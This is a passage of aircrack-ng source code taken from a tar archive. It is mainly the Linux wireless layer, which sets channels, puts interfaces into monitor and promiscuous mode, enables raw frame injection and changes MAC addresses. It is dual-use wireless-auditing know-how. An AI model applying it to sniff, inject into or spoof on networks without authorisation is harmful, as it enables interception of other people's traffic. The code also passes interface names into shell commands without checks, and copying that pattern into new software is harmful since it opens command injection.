"1", s, NULL ); exit( 1 ); } waitpid( pid, &status, 0 ); dev->channel = channel; return 0; break; //yeah ;) case DT_ZD1211RW: snprintf( s, sizeof( s ) - 1, "%d", channel ); if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execlp(dev->iwconfig, "iwconfig", wi_get_ifname(wi), "channel", s, NULL ); exit( 1 ); } waitpid( pid, &status, 0 ); dev->channel = channel; return 0; break; //yeah ;) default: break; } memset( &wrq, 0, sizeof( struct iwreq ) ); strncpy( wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ ); wrq.u.freq.m = (double) channel; wrq.u.freq.e = (double) 0; if( ioctl( dev->fd_in, SIOCSIWFREQ, &wrq ) < 0 ) { usleep( 10000 ); /* madwifi needs a second chance */ if( ioctl( dev->fd_in, SIOCSIWFREQ, &wrq ) < 0 ) { /* perror( "ioctl(SIOCSIWFREQ) failed" ); */ return( 1 ); } } dev->channel = channel; return( 0 ); } static int linux_set_freq(struct wif *wi, int freq) { struct priv_linux *dev = wi_priv(wi); char s[32]; int pid, status, unused; struct iwreq wrq; memset( s, 0, sizeof( s ) ); switch (dev->drivertype) { case DT_WLANNG: case DT_ORINOCO: case DT_ZD1211RW: snprintf( s, sizeof( s ) - 1, "%dM", freq ); if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execlp(dev->iwconfig, "iwconfig", wi_get_ifname(wi), "freq", s, NULL ); exit( 1 ); } waitpid( pid, &status, 0 ); dev->freq = freq; return 0; break; //yeah ;) default: break; } memset( &wrq, 0, sizeof( struct iwreq ) ); strncpy( wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ ); wrq.u.freq.m = (double) freq*100000; wrq.u.freq.e = (double) 1; if( ioctl( dev->fd_in, SIOCSIWFREQ, &wrq ) < 0 ) { usleep( 10000 ); /* madwifi needs a second chance */ if( ioctl( dev->fd_in, SIOCSIWFREQ, &wrq ) < 0 ) { /* perror( "ioctl(SIOCSIWFREQ) failed" ); */ return( 1 ); } } dev->freq = freq; return( 0 ); } static int opensysfs(struct priv_linux *dev, char *iface, int fd) { int fd2; char buf[256]; /* ipw2200 injection */ snprintf(buf, 256, "/sys/class/net/%s/device/inject", iface); fd2 = open(buf, O_WRONLY); /* bcm43xx injection */ if (fd2 == -1) snprintf(buf, 256, "/sys/class/net/%s/device/inject_nofcs", iface); fd2 = open(buf, O_WRONLY); if (fd2 == -1) return -1; dup2(fd2, fd); close(fd2); dev->sysfs_inject=1; return 0; } int linux_get_monitor(struct wif *wi) { struct priv_linux *dev = wi_priv(wi); struct ifreq ifr; struct iwreq wrq; /* find the interface index */ if(dev->drivertype == DT_IPW2200) return( 0 ); memset( &ifr, 0, sizeof( ifr ) ); strncpy( ifr.ifr_name, wi_get_ifname(wi), sizeof( ifr.ifr_name ) - 1 ); // if( ioctl( fd, SIOCGIFINDEX, &ifr ) < 0 ) // { // printf("Interface %s: \n", iface); // perror( "ioctl(SIOCGIFINDEX) failed" ); // return( 1 ); // } /* lookup the hardware type */ if( ioctl( wi_fd(wi), SIOCGIFHWADDR, &ifr ) < 0 ) { printf("Interface %s: \n", wi_get_ifname(wi)); perror( "ioctl(SIOCGIFHWADDR) failed" ); return( 1 ); } /* lookup iw mode */ memset( &wrq, 0, sizeof( struct iwreq ) ); strncpy( wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ ); if( ioctl( wi_fd(wi), SIOCGIWMODE, &wrq ) < 0 ) { /* most probably not supported (ie for rtap ipw interface) * * so just assume its correctly set... */ wrq.u.mode = IW_MODE_MONITOR; } if( ( ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211 && ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_PRISM && ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_FULL) || ( wrq.u.mode != IW_MODE_MONITOR && (dev->drivertype != DT_ORINOCO)) ) { return( 1 ); } return( 0 ); } int set_monitor( struct priv_linux *dev, char *iface, int fd ) { int pid, status, unused; struct iwreq wrq; if( strcmp(iface,"prism0") == 0 ) { dev->wl = wiToolsPath("wl"); if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execl( dev->wl, "wl", "monitor", "1", NULL); exit( 1 ); } waitpid( pid, &status, 0 ); if( WIFEXITED(status) ) return( WEXITSTATUS(status) ); return( 1 ); } else if (strncmp(iface, "rtap", 4) == 0 ) { return 0; } else { switch(dev->drivertype) { case DT_WLANNG: if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execl( dev->wlanctlng, "wlanctl-ng", iface, "lnxreq_wlansniff", "enable=true", "prismheader=true", "wlanheader=false", "stripfcs=true", "keepwepflags=true", "6", NULL ); exit( 1 ); } waitpid( pid, &status, 0 ); if( WIFEXITED(status) ) return( WEXITSTATUS(status) ); return( 1 ); break; case DT_ORINOCO: if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execlp( dev->iwpriv, "iwpriv", iface, "monitor", "1", "1", NULL ); exit( 1 ); } waitpid( pid, &status, 0 ); if( WIFEXITED(status) ) return( WEXITSTATUS(status) ); return 1; break; case DT_ACX: if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execlp( dev->iwpriv, "iwpriv", iface, "monitor", "2", "1", NULL ); exit( 1 ); } waitpid( pid, &status, 0 ); if( WIFEXITED(status) ) return( WEXITSTATUS(status) ); return 1; break; default: break; } memset( &wrq, 0, sizeof( struct iwreq ) ); strncpy( wrq.ifr_name, iface, IFNAMSIZ ); wrq.u.mode = IW_MODE_MONITOR; if( ioctl( fd, SIOCSIWMODE, &wrq ) < 0 ) { perror( "ioctl(SIOCSIWMODE) failed" ); return( 1 ); } if(dev->drivertype == DT_AT76USB) { sleep(3); } } /* couple of iwprivs to enable the prism header */ if( ! fork() ) /* hostap */ { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execlp( "iwpriv", "iwpriv", iface, "monitor_type", "1", NULL ); exit( 1 ); } wait( NULL ); if( ! fork() ) /* r8180 */ { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execlp( "iwpriv", "iwpriv", iface, "prismhdr", "1", NULL ); exit( 1 ); } wait( NULL ); if( ! fork() ) /* prism54 */ { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execlp( "iwpriv", "iwpriv", iface, "set_prismhdr", "1", NULL ); exit( 1 ); } wait( NULL ); return( 0 ); } static int openraw(struct priv_linux *dev, char *iface, int fd, int *arptype, uchar *mac) { struct ifreq ifr; struct ifreq ifr2; struct iwreq wrq; struct iwreq wrq2; struct packet_mreq mr; struct sockaddr_ll sll; struct sockaddr_ll sll2; /* find the interface index */ memset( &ifr, 0, sizeof( ifr ) ); strncpy( ifr.ifr_name, iface, sizeof( ifr.ifr_name ) - 1 ); if( ioctl( fd, SIOCGIFINDEX, &ifr ) < 0 ) { printf("Interface %s: \n", iface); perror( "ioctl(SIOCGIFINDEX) failed" ); return( 1 ); } memset( &sll, 0, sizeof( sll ) ); sll.sll_family = AF_PACKET; sll.sll_ifindex = ifr.ifr_ifindex; switch(dev->drivertype) { case DT_IPW2200: /* find the interface index */ memset( &ifr2, 0, sizeof( ifr ) ); strncpy( ifr2.ifr_name, dev->main_if, sizeof( ifr2.ifr_name ) - 1 ); if( ioctl( dev->fd_main, SIOCGIFINDEX, &ifr2 ) < 0 ) { printf("Interface %s: \n", dev->main_if); perror( "ioctl(SIOCGIFINDEX) failed" ); return( 1 ); } /* set iw mode to managed on main interface */ memset( &wrq2, 0, sizeof( struct iwreq ) ); strncpy( wrq2.ifr_name, dev->main_if, IFNAMSIZ ); if( ioctl( dev->fd_main, SIOCGIWMODE, &wrq2 ) < 0 ) { perror("SIOCGIWMODE"); return 1; } wrq2.u.mode = IW_MODE_INFRA; if( ioctl( dev->fd_main, SIOCSIWMODE, &wrq2 ) < 0 ) { perror("SIOCSIWMODE"); return 1; } /* bind the raw socket to the interface */ memset( &sll2, 0, sizeof( sll2 ) ); sll2.sll_family = AF_PACKET; sll2.sll_ifindex = ifr2.ifr_ifindex; sll2.sll_protocol = htons( ETH_P_ALL ); if( bind( dev->fd_main, (struct sockaddr *) &sll2, sizeof( sll2 ) ) < 0 ) { printf("Interface %s: \n", dev->main_if); perror( "bind(ETH_P_ALL) failed" ); return( 1 ); } opensysfs(dev, dev->main_if, dev->fd_in); break; case DT_BCM43XX: opensysfs(dev, iface, dev->fd_in); break; case DT_WLANNG: sll.sll_protocol = htons( ETH_P_80211_RAW ); break; default: sll.sll_protocol = htons( ETH_P_ALL ); break; } /* lookup the hardware type */ if( ioctl( fd, SIOCGIFHWADDR, &ifr ) < 0 ) { printf("Interface %s: \n", iface); perror( "ioctl(SIOCGIFHWADDR) failed" ); return( 1 ); } /* lookup iw mode */ memset( &wrq, 0, sizeof( struct iwreq ) ); strncpy( wrq.ifr_name, iface, IFNAMSIZ ); if( ioctl( fd, SIOCGIWMODE, &wrq ) < 0 ) { /* most probably not supported (ie for rtap ipw interface) * * so just assume its correctly set... */ wrq.u.mode = IW_MODE_MONITOR; } if( ( ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211 && ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_PRISM && ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_FULL) || ( wrq.u.mode != IW_MODE_MONITOR) ) { if (set_monitor( dev, iface, fd ) && !dev->drivertype == DT_ORINOCO ) { ifr.ifr_flags &= ~(IFF_UP | IFF_BROADCAST | IFF_RUNNING); if( ioctl( fd, SIOCSIFFLAGS, &ifr ) < 0 ) { perror( "ioctl(SIOCSIFFLAGS) failed" ); return( 1 ); } if (set_monitor( dev, iface, fd ) && !dev->drivertype == DT_ORINOCO ) { printf("Error setting monitor mode on %s\n",iface); return( 1 ); } } } /* Is interface st to up, broadcast & running ? */ if((ifr.ifr_flags | IFF_UP | IFF_BROADCAST | IFF_RUNNING) != ifr.ifr_flags) { /* Bring interface up*/ ifr.ifr_flags |= IFF_UP | IFF_BROADCAST | IFF_RUNNING; if( ioctl( fd, SIOCSIFFLAGS, &ifr ) < 0 ) { perror( "ioctl(SIOCSIFFLAGS) failed" ); return( 1 ); } } /* bind the raw socket to the interface */ if( bind( fd, (struct sockaddr *) &sll, sizeof( sll ) ) < 0 ) { printf("Interface %s: \n", iface); perror( "bind(ETH_P_ALL) failed" ); return( 1 ); } /* lookup the hardware type */ if( ioctl( fd, SIOCGIFHWADDR, &ifr ) < 0 ) { printf("Interface %s: \n", iface); perror( "ioctl(SIOCGIFHWADDR) failed" ); return( 1 ); } memcpy( mac, (unsigned char*)ifr.ifr_hwaddr.sa_data, 6); *arptype = ifr.ifr_hwaddr.sa_family; if( ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211 && ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_PRISM && ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_FULL ) { if( ifr.ifr_hwaddr.sa_family == 1 ) fprintf( stderr, "\nARP linktype is set to 1 (Ethernet) " ); else fprintf( stderr, "\nUnsupported hardware link type %4d ", ifr.ifr_hwaddr.sa_family ); fprintf( stderr, "- expected ARPHRD_IEEE80211,\nARPHRD_IEEE80211_" "FULL or ARPHRD_IEEE80211_PRISM instead. Make\n" "sure RFMON is enabled: run 'airmon-ng start %s" " <#>'\nSysfs injection support was not found " "either.\n\n", iface ); return( 1 ); } /* enable promiscuous mode */ memset( &mr, 0, sizeof( mr ) ); mr.mr_ifindex = sll.sll_ifindex; mr.mr_type = PACKET_MR_PROMISC; if( setsockopt( fd, SOL_PACKET, PACKET_ADD_MEMBERSHIP, &mr, sizeof( mr ) ) < 0 ) { perror( "setsockopt(PACKET_MR_PROMISC) failed" ); return( 1 ); } return( 0 ); } /* * Open the interface and set mode monitor * Return 1 on failure and 0 on success */ static int do_linux_open(struct wif *wi, char *iface) { int kver, unused; struct utsname checklinuxversion; struct priv_linux *dev = wi_priv(wi); char *iwpriv; char strbuf[512]; FILE *f; char athXraw[] = "athXraw"; pid_t pid; int n; DIR *net_ifaces; struct dirent *this_iface; FILE *acpi; char r_file[128], buf[128]; struct ifreq ifr; char * unused_str; dev->inject_wlanng = 1; dev->rate = 2; /* default to 1Mbps if nothing is set */ /* open raw socks */ if( ( dev->fd_in = socket( PF_PACKET, SOCK_RAW, htons( ETH_P_ALL ) ) ) < 0 ) { perror( "socket(PF_PACKET) failed" ); if( getuid() != 0 ) fprintf( stderr, "This program requires root privileges.\n" ); return( 1 ); } if( ( dev->fd_main = socket( PF_PACKET, SOCK_RAW, htons( ETH_P_ALL ) ) ) < 0 ) { perror( "socket(PF_PACKET) failed" ); if( getuid() != 0 ) fprintf( stderr, "This program requires root privileges.\n" ); return( 1 ); } /* Check iwpriv existence */ iwpriv = wiToolsPath("iwpriv"); dev->iwpriv = iwpriv; dev->iwconfig = wiToolsPath("iwconfig"); dev->ifconfig = wiToolsPath("ifconfig"); if (! iwpriv ) { fprintf(stderr, "Can't find wireless tools, exiting.\n"); goto close_in; } /* Exit if ndiswrapper : check iwpriv ndis_reset */ if ( is_ndiswrapper(iface, iwpriv ) ) { fprintf(stderr, "Ndiswrapper doesn't support monitor mode.\n"); goto close_in; } if( ( dev->fd_out = socket( PF_PACKET, SOCK_RAW, htons( ETH_P_ALL ) ) ) < 0 ) { perror( "socket(PF_PACKET) failed" ); goto close_in; } /* figure out device type */ /* mac80211 radiotap injection * detected based on interface called mon... * since mac80211 allows multiple virtual interfaces * * note though that the virtual interfaces are ultimately using a * single physical radio: that means for example they must all * operate on the same channel */ /* mac80211 stack detection */ memset(strbuf, 0, sizeof(strbuf)); snprintf(strbuf, sizeof(strbuf) - 1, "ls /sys/class/net/%s/phy80211/subsystem >/dev/null 2>/dev/null", iface); if (system(strbuf) == 0) dev->drivertype = DT_MAC80211_RT; /* IPW2200 detection */ memset(strbuf, 0, sizeof(strbuf)); snprintf(strbuf, sizeof(strbuf) - 1, "ls /sys/class/net/%s/device/inject >/dev/null 2>/dev/null", iface); if (system(strbuf) == 0) dev->drivertype = DT_IPW2200; /* BCM43XX detection */ memset(strbuf, 0, sizeof(strbuf)); snprintf(strbuf, sizeof(strbuf) - 1, "ls /sys/class/net/%s/device/inject_nofcs >/dev/null 2>/dev/null", iface); if (system(strbuf) == 0) dev->drivertype = DT_BCM43XX; /* check if wlan-ng or hostap or r8180 */ if( strlen(iface) == 5 && memcmp(iface, "wlan", 4 ) == 0 ) { memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "wlancfg show %s 2>/dev/null | " "grep p2CnfWEPFlags >/dev/null", iface); if( system( strbuf ) == 0 ) { if (uname( & checklinuxversion ) >= 0) { /* uname succeeded */ if (strncmp(checklinuxversion.release, "2.6.", 4) == 0 && strncasecmp(checklinuxversion.sysname, "linux", 5) == 0) { /* Linux kernel 2.6 */ kver = atoi(checklinuxversion.release + 4); if (kver > 11) { /* That's a kernel > 2.6.11, cannot inject */ dev->inject_wlanng = 0; } } } dev->drivertype = DT_WLANNG; dev->wlanctlng = wiToolsPath("wlanctl-ng"); } memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "iwpriv %s 2>/dev/null | " "grep antsel_rx >/dev/null", iface); if( system( strbuf ) == 0 ) dev->drivertype=DT_HOSTAP; memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "iwpriv %s 2>/dev/null | " "grep GetAcx111Info >/dev/null", iface); if( system( strbuf ) == 0 ) dev->drivertype=DT_ACX; } /* enable injection on ralink */ if( strcmp( iface, "ra0" ) == 0 || strcmp( iface, "ra1" ) == 0 || strcmp( iface, "rausb0" ) == 0 || strcmp( iface, "rausb1" ) == 0 ) { memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "iwpriv %s rfmontx 1 >/dev/null 2>/dev/null", iface ); unused = system( strbuf ); } /* check if newer athXraw interface available */ if( ( strlen( iface ) >= 4 || strlen( iface ) <= 6 ) && memcmp( iface, "ath", 3 ) == 0 ) { dev->drivertype = DT_MADWIFI; memset( strbuf, 0, sizeof( strbuf ) ); snprintf(strbuf, sizeof( strbuf ) -1, "/proc/sys/net/%s/%%parent", iface); f = fopen(strbuf, "r"); if (f != NULL) { // It is madwifi-ng dev->drivertype=DT_MADWIFING; fclose( f ); /* should we force prism2 header? */ sprintf((char *) strbuf, "/proc/sys/net/%s/dev_type", iface); f = fopen( (char *) strbuf,"w"); if (f != NULL) { fprintf(f, "802\n"); fclose(f); } /* Force prism2 header on madwifi-ng */ } else { // Madwifi-old memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "sysctl -w dev.%s.rawdev=1 >/dev/null 2>/dev/null", iface ); if( system( strbuf ) == 0 ) { athXraw[3] = iface[3]; memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "ifconfig %s up", athXraw ); unused = system( strbuf ); #if 0 /* some people reported problems when prismheader is enabled */ memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "sysctl -w dev.%s.rawdev_type=1 >/dev/null 2>/dev/null", iface ); unused = system( strbuf ); #endif iface = athXraw; } } } /* test if orinoco */ if( memcmp( iface, "eth", 3 ) == 0 ) { if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execlp( "iwpriv", "iwpriv", iface, "get_port3", NULL ); exit( 1 ); } waitpid( pid, &n, 0 ); if( WIFEXITED(n) && WEXITSTATUS(n) == 0 ) dev->drivertype=DT_ORINOCO; memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "iwpriv %s 2>/dev/null | " "grep get_scan_times >/dev/null", iface); if( system( strbuf ) == 0 ) dev->drivertype=DT_AT76USB; } /* test if zd1211rw */ if( memcmp( iface, "eth", 3 ) == 0 ) { if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execlp( "iwpriv", "iwpriv", iface, "get_regdomain", NULL ); exit( 1 ); } waitpid( pid, &n, 0 ); if( WIFEXITED(n) && WEXITSTATUS(n) == 0 ) dev->drivertype=DT_ZD1211RW; } if( dev->drivertype == DT_IPW2200 ) { snprintf(r_file, sizeof(r_file), "/sys/class/net/%s/device/rtap_iface", iface); if ((acpi = fopen(r_file, "r")) == NULL) goto close_out; memset(buf, 0, 128); unused_str = fgets(buf, 128, acpi); buf[127]='\x00'; //rtap iface doesn't exist if(strncmp(buf, "-1", 2) == 0) { //repoen for writing fclose(acpi); if ((acpi = fopen(r_file, "w")) == NULL) goto close_out; fputs("1", acpi); //reopen for reading fclose(acpi); if ((acpi = fopen(r_file, "r")) == NULL) goto close_out; unused_str = fgets(buf, 128, acpi); } fclose(acpi); //use name in buf as new iface and set original iface as main iface dev->main_if = (char*) malloc(strlen(iface)+1); memset(dev->main_if, 0, strlen(iface)+1); strncpy(dev->main_if, iface, strlen(iface)); iface=(char*)malloc(strlen(buf)+1); memset(iface, 0, strlen(buf)+1); strncpy(iface, buf, strlen(buf)); } /* test if rtap interface and try to find real interface */ if( memcmp( iface, "rtap", 4) == 0 && dev->main_if == NULL) { memset( &ifr, 0, sizeof( ifr ) ); strncpy( ifr.ifr_name, iface, sizeof( ifr.ifr_name ) - 1 ); n = 0; if( ioctl( dev->fd_out, SIOCGIFINDEX, &ifr ) < 0 ) { //create rtap interface n = 1; } net_ifaces = opendir("/sys/class/net"); if ( net_ifaces != NULL ) { while (net_ifaces != NULL && ((this_iface = readdir(net_ifaces)) != NULL)) { if (this_iface->d_name[0] == '.') continue; snprintf(r_file, sizeof(r_file), "/sys/class/net/%s/device/rtap_iface", this_iface->d_name); if ((acpi = fopen(r_file, "r")) == NULL) continue; if (acpi != NULL) { dev->drivertype = DT_IPW2200; memset(buf, 0, 128); unused_str = fgets(buf, 128, acpi); if(n==0) //interface exists { if (strncmp(buf, iface, 5) == 0) { fclose(acpi); if (net_ifaces != NULL) { closedir(net_ifaces); net_ifaces = NULL; } dev->main_if = (char*) malloc(strlen(this_iface->d_name)+1); strcpy(dev->main_if, this_iface->d_name); break; } } else //need to create interface { if (strncmp(buf, "-1", 2) == 0) { //repoen for writing fclose(acpi); if ((acpi = fopen(r_file, "w")) == NULL) continue; fputs("1", acpi); //reopen for reading fclose(acpi); if ((acpi = fopen(r_file, "r")) == NULL) continue; unused_str = fgets(buf, 128, acpi); if (strncmp(buf, iface, 5) == 0) { if (net_ifaces != NULL) { closedir(net_ifaces); net_ifaces = NULL; } dev->main_if = (char*) malloc(strlen(this_iface->d_name)+1); strcpy(dev->main_if, this_iface->d_name); fclose(acpi); break; } } } fclose(acpi); } } if (net_ifaces != NULL) closedir(net_ifaces); } } if(0) fprintf(stderr, "Interface %s -> driver: %s\n", iface, szaDriverTypes[dev->drivertype]); if (openraw(dev, iface, dev->fd_out, &dev->arptype_out, dev->pl_mac) != 0) { goto close_out; } /* don't use the same file descriptor for in and out on bcm43xx, as you read from the interface, but write into a file in /sys/... */ if(!(dev->drivertype == DT_BCM43XX) && !(dev->drivertype == DT_IPW2200)) dev->fd_in = dev->fd_out; else { /* if bcm43xx or ipw2200, swap both fds */ n=dev->fd_out; dev->fd_out=dev->fd_in; dev->fd_in=n; } dev->arptype_in = dev->arptype_out; return 0; close_out: close(dev->fd_out); close_in: close(dev->fd_in); return 1; } static void do_free(struct wif *wi) { struct priv_linux *pl = wi_priv(wi); if(pl->wlanctlng) free(pl->wlanctlng); if(pl->iwpriv) free(pl->iwpriv); if(pl->iwconfig) free(pl->iwconfig); if(pl->ifconfig) free(pl->ifconfig); if(pl->wl) free(pl->wl); if(pl->main_if) free(pl->main_if); free(pl); free(wi); } static void linux_close(struct wif *wi) { struct priv_linux *pl = wi_priv(wi); if (pl->fd_in) close(pl->fd_in); if (pl->fd_out) close(pl->fd_out); do_free(wi); } static int linux_fd(struct wif *wi) { struct priv_linux *pl = wi_priv(wi); return pl->fd_in; } static int linux_get_mac(struct wif *wi, unsigned char *mac) { struct priv_linux *pl = wi_priv(wi); struct ifreq ifr; int fd; fd = wi_fd(wi); /* find the interface index */ /* ipw2200 got a file opened as fd */ if(pl->drivertype == DT_IPW2200) { memcpy(mac, pl->pl_mac, 6); return 0; } memset( &ifr, 0, sizeof( ifr ) ); strncpy( ifr.ifr_name, wi_get_ifname(wi), sizeof( ifr.ifr_name ) - 1 ); if( ioctl( fd, SIOCGIFINDEX, &ifr ) < 0 ) { printf("Interface %s: \n", wi_get_ifname(wi)); perror( "ioctl(SIOCGIFINDEX) failed" ); return( 1 ); } if( ioctl( fd, SIOCGIFHWADDR, &ifr ) < 0 ) { printf("Interface %s: \n", wi_get_ifname(wi)); perror( "ioctl(SIOCGIFHWADDR) failed" ); return( 1 ); } memcpy( pl->pl_mac, (unsigned char*)ifr.ifr_hwaddr.sa_data, 6); /* XXX */ memcpy(mac, pl->pl_mac, 6); return 0; } static int linux_set_mac(struct wif *wi, unsigned char *mac) { struct priv_linux *pl = wi_priv(wi); struct ifreq ifr; int fd, ret; fd = wi_fd(wi); /* find the interface index */ memset( &ifr, 0, sizeof( ifr ) ); strncpy( ifr.ifr_name, wi_get_ifname(wi), sizeof( ifr.ifr_name ) - 1 ); if( ioctl( fd, SIOCGIFHWADDR, &ifr ) < 0 ) { printf("Interface %s: \n", wi_get_ifname(wi)); perror( "ioctl(SIOCGIFHWADDR) failed" ); return( 1 ); } // if down ifr.ifr_flags &= ~(IFF_UP | IFF_BROADCAST | IFF_RUNNING); if( ioctl( fd, SIOCSIFFLAGS, &ifr ) < 0 ) { perror( "ioctl(SIOCSIFFLAGS) failed" ); return( 1 ); } // ifr.ifr_hwaddr.sa_family = ARPHRD_ETHER; // ifr.ifr_hwaddr.sa_len = 6; memcpy(ifr.ifr_hwaddr.sa_data, mac, 6); memcpy(pl->pl_mac, mac, 6); //set mac ret = ioctl(fd, SIOCSIFHWADDR, ifr); //if up ifr.ifr_flags |= IFF_UP | IFF_BROADCAST | IFF_RUNNING; if( ioctl( fd, SIOCSIFFLAGS, &ifr ) < 0 ) { perror( "ioctl(SIOCSIFFLAGS) failed" ); return( 1 ); } return ret; } static struct wif *linux_open(char *iface) { struct wif *wi; struct priv_linux *pl; wi = wi_alloc(sizeof(*pl)); if (!wi) return NULL; wi->wi_read = linux_read; wi->wi_write = linux_write; wi->wi_set_channel = linux_set_channel; wi->wi_get_channel = linux_get_channel; wi->wi_set_freq = linux_set_freq; wi->wi_get_freq = linux_get_freq; wi->wi_close = linux_close; wi->wi_fd = linux_fd; wi->wi_get_mac = linux_get_mac; wi->wi_set_mac = linux_set_mac; wi->wi_get_monitor = linux_get_monitor; wi->wi_get_rate = linux_get_rate; wi->wi_set_rate = linux_set_rate; wi->wi_get_mtu = linux_get_mtu; wi->wi_set_mtu = linux_set_mtu; if (do_linux_open(wi, iface)) { do_free(wi); return NULL; } return wi; } struct wif *wi_open_osdep(char *iface) { return linux_open(iface); } int get_battery_state(void) { char buf[128]; int batteryTime = 0; FILE *apm; int flag; char units[32]; int ret; static int linux_apm = 1; static int linux_acpi = 1; if (linux_apm == 1) { if ((apm = fopen("/proc/apm", "r")) != NULL ) { if ( fgets(buf, 128,apm) != NULL ) { int charging, ac; fclose(apm); ret = sscanf(buf, "%*s %*d.%*d %*x %x %x %x %*d%% %d %s\n", &ac, &charging, &flag, &batteryTime, units); if(!ret) return 0; if ((flag & 0x80) == 0 && charging != 0xFF && ac != 1 && batteryTime != -1) { if (!strncmp(units, "min", 32)) batteryTime *= 60; } else return 0; linux_acpi = 0; return batteryTime; } } linux_apm = 0; } if (linux_acpi && !linux_apm) { DIR *batteries, *ac_adapters; struct dirent *this_battery, *this_adapter; FILE *acpi, *info; char battery_state[128]; char battery_info[128]; int rate = 1, remain = 0, current = 0; static int total_remain = 0, total_cap = 0; int batno = 0; static int info_timer = 0; int batt_full_capacity[3]; linux_apm=0; linux_acpi=1; ac_adapters = opendir("/proc/acpi/ac_adapter"); if ( ac_adapters == NULL ) return 0; while (ac_adapters != NULL && ((this_adapter = readdir(ac_adapters)) != NULL)) { if (this_adapter->d_name[0] == '.') continue; /* safe overloaded use of battery_state path var */ snprintf(battery_state, sizeof(battery_state), "/proc/acpi/ac_adapter/%s/state", this_adapter->d_name); if ((acpi = fopen(battery_state, "r")) == NULL) continue; if (acpi != NULL) { while(fgets(buf, 128, acpi)) { if (strstr(buf, "on-line") != NULL) { fclose(acpi); if (ac_adapters != NULL) closedir(ac_adapters); return 0; } } fclose(acpi); } } if (ac_adapters != NULL) closedir(ac_adapters); batteries = opendir("/proc/acpi/battery"); if (batteries == NULL) { closedir(batteries); return 0; } while (batteries != NULL && ((this_battery = readdir(batteries)) != NULL)) { if (this_battery->d_name[0] == '.') continue; snprintf(battery_info, sizeof(battery_info), "/proc/acpi/battery/%s/info", this_battery->d_name); info = fopen(battery_info, "r"); batt_full_capacity[batno] = 0; if ( info != NULL ) { while (fgets(buf, sizeof(buf), info) != NULL) if (sscanf(buf, "last full capacity: %d mWh", &batt_full_capacity[batno]) == 1) continue; fclose(info); } snprintf(battery_state, sizeof(battery_state), "/proc/acpi/battery/%s/state", this_battery->d_name); if ((acpi = fopen(battery_state, "r")) == NULL) continue; while (fgets(buf, 128, acpi)) { if (strncmp(buf, "present:", 8 ) == 0) { /* No information for this battery */ if (strstr(buf, "no" )) continue; } else if (strncmp(buf, "charging state:", 15) == 0) { /* the space makes it different than discharging */ if (strstr(buf, " charging" )) { fclose( acpi ); return 0; } } else if (strncmp(buf, "present rate:", 13) == 0) rate = atoi(buf + 25); else if (strncmp(buf, "remaining capacity:", 19) == 0) { remain = atoi(buf + 25); total_remain += remain; } else if (strncmp(buf, "present voltage:", 17) == 0) current = atoi(buf + 25); } total_cap += batt_full_capacity[batno]; fclose(acpi); batteryTime += (int) (( ((float)remain) /rate ) * 3600); batno++; } info_timer++; if (batteries != NULL) closedir(batteries); } return batteryTime; } aircrack-ng-1.1/src/osdep/dummy_tap.c0000644000000000000000000000220010761053203016265 0ustar rootroot /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API for unsupported APIs. TAP routines * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include "osdep.h" static struct tif *ti_open_dummy(char *iface) { if (iface) {} /* XXX unused parameter */ return NULL; } struct tif *ti_open(char *iface) { return ti_open_dummy(iface); } aircrack-ng-1.1/src/osdep/cygwin.c0000644000000000000000000002625011321163302015574 0ustar rootroot /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API for cygwin. It relies on an external * DLL to do the actual wifi stuff * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * 